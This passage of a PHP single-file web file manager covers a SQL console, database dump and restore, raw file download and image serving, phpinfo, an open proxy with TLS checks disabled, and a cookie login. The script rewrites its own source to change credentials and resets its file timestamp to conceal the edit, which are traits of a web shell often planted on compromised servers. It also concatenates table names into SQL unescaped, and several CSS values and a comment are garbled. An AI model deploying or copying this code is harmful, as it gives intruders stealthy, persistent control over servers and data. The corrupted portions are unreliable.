	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' ¡ª '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: gt;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: red;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//§Ü§Ñ§Ü-§ä§à §ä§à§Ø§Ö §á§à§Õ§Þ§Ö§ß§ñ§ä§î §ß§Ñ§Õ§à
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;
'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg .= __('File updated');
				} else $msg .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #CD5C5C 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title><?=__('File manager')?></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: ## #800080A ; text-decoration: underline; }
a.th:link { color: ##6495ED; text-decoration: none; }
a.th:active { color: #CD5C5C; text-decoration: none; }
a.th:visited { color: #E9967A; text-decoration: none; }
a.th:hover {  color: ## #800080 ; text-decoration: underline; }

table.bg {
	background-color: #C0C0C0
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	# #CD5C5C ;
	color:				#CD5C5C;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	##CD5C5C;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#FFC0CB;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	# #808000 ;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,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